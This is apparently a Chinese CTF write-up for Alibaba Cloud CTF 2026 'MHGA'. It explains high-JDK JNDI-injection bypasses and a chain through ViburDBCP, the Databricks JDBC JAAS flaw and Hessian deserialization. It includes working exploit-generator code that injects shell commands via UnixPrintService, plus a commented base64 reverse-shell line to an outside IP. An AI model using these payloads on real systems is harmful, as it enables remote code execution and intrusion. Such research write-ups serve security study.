2026阿里CTF MHGA题解:基于ViburDBCP与HessianProxy的JNDI注入高版本绕过研究
2026阿里CTF MHGA题解:基于ViburDBCP与HessianProxy的JNDI注入高版本绕过研究
2026-阿里云CTF-MHGA
标签: JNDI
涉及知识点: jndi注入bypass、jdbc、hessian反序列化
先复习一下jndi注入bypass原理
JNDI注入bypas原理复习
调试jdk版本8u201和8u65,利用经典的BeanFactory+ELProcessor跟一下流程

从这里开始分析,此时的调用栈如下
c_lookup:1022, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:9, JNDIbypassClient
这里的decodeObject 会反序列化远程的序列化数据

这里对比一下高低版本的区别,高版本在getObjectFactoryFromReference 下是没法儿获取到远程类的

因为trustURLCodebase 默认为false

但是低版本没有这个限制

低版本获取到远程类之后这里就直接实例化触发了(这里类名不一样是因为调了很多次分开截图的。。。)

这里弄清楚了高版本的限制,继续回到上面,decodeObject 解析完之后会调用DirectoryManager.getObjectInstance ,并且第一个参数就是decodeObject 解析完的参数

跟进该方法

从远程获取类失败factory为空后漏洞利用流程就差不多结束了,但是这里如果factory不为空,而是调用任意类的getObjectInstance 方法是不是就还有戏?答案是肯定的,利用tomcat bypass调试看看

这里会加载BeanFactory 这个类,即下面这段代码实现的

这里获取完之后返回了该类的实例,具体的加载方法如下,是从本地Class.forName拿到的

老版本之前是从远程加载的

所以这里利用方式就变了,从而造成绕过,下面就是调用BeanFactory 的getObjectInstance 方法进行rce利用

所以高版本jndi注入bypass方式就是这样,那么寻找绕过满足下面两个条件就行
- 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为 javax.naming.spi.NamingManager#getObjectFactoryFromReference 方法,在返回时做了 ObjectFactory 类型的强转
- 即
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;这段代码不能报错,否则就无法返回factory,进而无法调用任意类的getObjectInstance() 方法了
- 该工厂类至少存在一个 getObjectInstance() 方法,从工厂中获得实例
🎃 所以总结就是老版本jdk可以直接远程类加载然后实例化rce,新版本由于加了一个判断,其中trustURLCodebase 默认为false,所以无法加载远程类,通过加载本地类调用其getObjectInstance 方法进行rce利用
本题就是找到一个新的工厂类进行绕过
题目分析
ViburDBCPObjectFactory-JDBC
前面分析了jndi注入到bypass所以这方面就不赘述了,直接来到ViburDBCPObjectFactory 这个类下

这里start方法中会发起jdbc连接,且参数可控,最终会调用到connect 发起连接

调用栈如下,具体细节可以自己打个断点调一下,这里就不逐步看了
connect:72, Connector$Builder$Driver (org.vibur.dbcp.pool)
create:83, ConnectionFactory (org.vibur.dbcp.pool)
create:73, ConnectionFactory (org.vibur.dbcp.pool)
create:51, ConnectionFactory (org.vibur.dbcp.pool)
addInitialObjects:140, ConcurrentPool (org.vibur.objectpool)
<init>:133, ConcurrentPool (org.vibur.objectpool)
doStart:279, ViburDBCPDataSource (org.vibur.dbcp)
start:240, ViburDBCPDataSource (org.vibur.dbcp)
getObjectInstance:49, ViburDBCPObjectFactory (org.vibur.dbcp)
getObjectInstance:193, DirectoryManager (javax.naming.spi)
c_lookup:1114, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:220, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:409, InitialContext (javax.naming)
lambda$main$0:17, Web (challenge)
handle:-1, 1296064247 (challenge.Web$$Lambda$3)
doFilter:77, Filter$Chain (com.sun.net.httpserver)
doFilter:82, AuthFilter (sun.net.httpserver)
doFilter:80, Filter$Chain (com.sun.net.httpserver)
handle:848, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:77, Filter$Chain (com.sun.net.httpserver)
run:817, ServerImpl$Exchange (sun.net.httpserver)
execute:201, ServerImpl$DefaultExecutor (sun.net.httpserver)
handle:560, ServerImpl$Dispatcher (sun.net.httpserver)
run:525, ServerImpl$Dispatcher (sun.net.httpserver)
run:829, Thread (java.lang)然后接上另外一个漏洞
CVE-2024-49194 Databricks JDBC 驱动 JNDI 注入
这里从jdbc转为jndi注入,单独分析一下这个洞
import java.sql.DriverManager;
import java.sql.SQLException;
public class Test {
public static void main(String[] args) throws SQLException {
String jdbcUrl = "jdbc:databricks://localhost:443/default;transportMode=http;\n" +
"ssl=1;httpPath=/sql/1.0/endpoints/12345;\n" +
"AuthMech=1;krbHostFQDN=localhost;\n" +
"krbServiceName=spark;krbJAASFile=http://127.0.0.1:8888/jaas.conf";
DriverManager.getConnection(jdbcUrl);
}
}
用python启个web服务确保上面能拿到值,jaas.conf配置如下
Client {
com.sun.security.auth.module.JndiLoginModule required
user.provider.url="ldap://localhost:1389/test"
group.provider.url="test"
tryFirstPass="true";
};通过传入的URL选择对应的jdbc驱动,这里关注jaas.conf获取流程,调试databricks-jdbc-2.6.38这个jar由于行号不匹配问题无法断点,可以利用killer大哥工具https://github.com/cwkiller/ClassLinefix 进行修复解决,然后即可正常调试,直接下载源码不知道为啥没成功

在如下位置获取krbJAASFile 的值,然后put到m_definedSettings 中

然后走到下面这里,调用createClient传入this.m_settings 里面就包括http地址

继续跟进这里会判断m_transportMode是否为HTTP,这个就是一开始传到http

然后继续往下进入到getSubjectViaJAASConfig 设置AUTH_LOGIN_CONFIG 值为我们定义的http地址

然后来到如下位置,这里会反射实例化sun.security.provider.ConfigFile 这个类

跟进这个类,在如下位置获取到远程地址

继续跟进,读取数据

然后在parseLoginEntry 中做解析,获取到jaas.conf的值进行赋值

解析到JndiLoginModule及jndi地址

后续一系列反射调用到JndiLoginModule下的login方法

来到login 方法

跟进到attemptAuthentication 方法,在如下位置发起了lookup请求,造成了jndi注入

整个调用过程比较复杂,感兴趣可以自己调试,这里给的过程不是很细
HessianProxyFactory 反序列化
然后就是jdbc又转为了jndi注入,这里涉及到最终利用的sink点,在HessianProxyFactory 下的getObjectInstance 方法下里面调用了create方法,一直跟进到该方法如下,这里会创建一个HessianProxy 动态代理对象

而动态代理调用任何方法都会来到invoke方即com.caucho.hessian.client.HessianProxy#invoke 然后这里会向Reference 配置的url地址发起请求拿到code,这里code为72即H时进入后续流程,都是hessian反序列化的一些格式

然后获取一些值后调用其readReply 方法

然后tag 为82即R时调用readOject方法,然后就是hessian反序列化的流程了

这里一开始没选择直接打这个jndi的原因是因为调用到invoke方法需要调用任意一个方法才能调用到,但是题目中直接lookup后没有调用任何方法,所以需要借助,如下位置的search 方法调用到invoke方法

因为lookup后有强转所以Reference 需要做如下设置
Reference ref = new Reference("javax.naming.directory.DirContext", "com.caucho.hessian.client.HessianProxyFactory", null);
// HessianProxyFactory properties
ref.add(new StringRefAddr("type", "javax.naming.directory.DirContext"));
ref.add(new StringRefAddr("url", payloadUrl));trustSerialData 绕过
然后就是高版本jdk比如21都不允许直接反序列化了,这里可以直接看官方wp都解释

也就是如下位置decodeObject的时候有个判断

而这个值默认为false

在jdk11.0.29是也已经修复了,所以没法直接打反序列化,然后因为是高版本hessian命令执行需要绕过一下可以利用UnixPrintService方法,参考https://github.com/nbxiglk0/Bookmarks/blob/main/Magic In Java Api.pdf进行绕过,可以参考su wp的代码。调用链如下
Hessian2.readObject
POJONode.toString
UnixPrintService.getterpackage com.chenxun.ctf;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.chenxun.Util.SerializeTools;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class test {
// 目标文件路径
// private static final String cmd = ";touch /tmp/pwnnnnn";
// private static final String cmd = "; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMjMuMTA5LjQ5LjUxLzk5OTkgMD4mMQ== | base64 -d | bash; echo";
public static void main(String[] args) throws Exception {
String cmd = ";open -a calculator";
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);
// 3. 实例化 UnixPrintService (替换之前的 Proxy)
// 这个类在 PrintServiceLookupProvider 中被广泛使用,是合法的 PrintService 实现
Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);
SerializeTools.setFieldValue(service, "printer", cmd);
SerializeTools.setFieldValue(service, "isInvalid", false);
SerializeTools.setFieldValue(service, "lpcStatusCom", new String[]{"", "", "", ""});
SerializeTools.setFieldValue(service, "lpcQueueCom", new String[]{"", "", "", ""});
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
POJONode pojoNode = new POJONode(service);
//
// ---------------------------------------------------------
// 5. Hessian2 序列化 (关键修复部分)
// ---------------------------------------------------------
byte[] payload = Hessian2_serialize(pojoNode);
String base64Payload = Base64.getEncoder().encodeToString(payload);
System.out.println("----- Payload (Base64) -----");
System.out.println(base64Payload);
System.out.println("----------------------------");
Hessian2_Deserial("SAIAUkNDMCxjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5QT0pPTm9kZZEGX3ZhbHVlYEMac3VuLnByaW50LlVuaXhQcmludFNlcnZpY2WVB3ByaW50ZXIJaXNJbnZhbGlkDGxwY1N0YXR1c0NvbQtscGNRdWV1ZUNvbQRuYW1lYRM7b3BlbiAtYSBjYWxjdWxhdG9yRnQHW3N0cmluZwAAAAB0kAAAAABO");
// Hessian2_Deserial(data);
}
public static byte[] Hessian2_serialize(Object o) throws IOException {
SerializerFactory factory = new SerializerFactory();
factory.setAllowNonSerializable(true);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
baos.write('H'); // Hessian 2.0 call header
baos.write(0x02); // major version
baos.write(0x00); // minor version
baos.write('R'); // Reply marker
baos.write(67);
hessian2Output.setSerializerFactory(factory);
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static void setAccessible(AccessibleObject member) {
String versionStr = System.getProperty("java.version");
int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
// not possible to quiet runtime warnings anymore...
// see https://bugs.openjdk.java.net/browse/JDK-8210522
// to understand impact on Permit (i.e. it does not work
// anymore with Java >= 12)
member.setAccessible(true);
}
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
public static Object Hessian2_Deserial(String data) throws IOException {
byte[] bytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
}
上面的脚本有点问题

修复版
package org.example;
import com.caucho.hessian.io.*;
//import com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.POJONode;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicReference;
public class ExploitGenerator {
private static final String cmd = "; echo dG91Y2ggL3RtcC9wd25lZA== | base64 -d | bash; echo";
public static void main(String[] args) throws Exception {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);
Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);
setFieldValue(service, "printer", cmd);
setFieldValue(service, "isInvalid", false);
setFieldValue(service, "lpcStatusCom", new String[]{"", "", "", ""});
setFieldValue(service, "lpcQueueCom", new String[]{"", "", "", ""});
POJONode pojoNode = new POJONode(service);
byte[] payload = Hessian2_serialize2(pojoNode);
// 5. 输出 Base64
String base64Payload = Base64.getEncoder().encodeToString(payload);
System.out.println("----- Payload (Base64) -----");
System.out.println(base64Payload);
System.out.println("----------------------------");
}
/**
* 使用 Hessian2 协议序列化对象
*/
public static byte[] Hessian2_serialize2(Object o) throws IOException {
SerializerFactory factory = new SerializerFactory();
factory.setAllowNonSerializable(true);
// 强制 POJONode 使用 UnsafeSerializer,防止返回MapDeserializer
factory.addFactory(new AbstractSerializerFactory() {
@Override
public Serializer getSerializer(Class cl) throws HessianProtocolException {
// 匹配类名,如果是 POJONode,就强制用 UnsafeSerializer
if (cl.getName().contains("POJONode")) {
return new UnsafeSerializer(cl);
}
return null; // 其他类使用默认序列化器
}
@Override
public Deserializer getDeserializer(Class cl) throws HessianProtocolException {
return null;
}
});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
// 写入之前那个 Payload 特有的 Header (如果是为了匹配之前的格式)
baos.write('H');
baos.write(0x02);
baos.write(0x00);
baos.write('R');
baos.write(67); // 'C'
hessian2Output.setSerializerFactory(factory);
// 注意:因为手动写入了 Header,这里要小心 hessian2Output 是否会再次写入 Header
// 通常如果手动写了信封,下面直接写对象即可
hessian2Output.writeObject(o);
hessian2Output.flush();
return baos.toByteArray();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}可解决对象为hashmap的问题

原因就是以下位置不强制限制的话会获取到MapDeserializer

然后直接打即可jndimap启动一下
java11 -jar JNDIMap-fixed.jar -i 192.168.124.16

请求后利用成功,实际解题改为反弹shell payload即可

参考
https://xz.aliyun.com/news/91567
https://www.cnblogs.com/LINGX5/p/18780870
https://su-team.cn/post/alictf-su-2026-wu/
https://mp.weixin.qq.com/s/UdKf8PhTlXuWwfBDQXDGuA
https://github.com/nbxiglk0/Bookmarks/blob/main/Magic In Java Api.pdf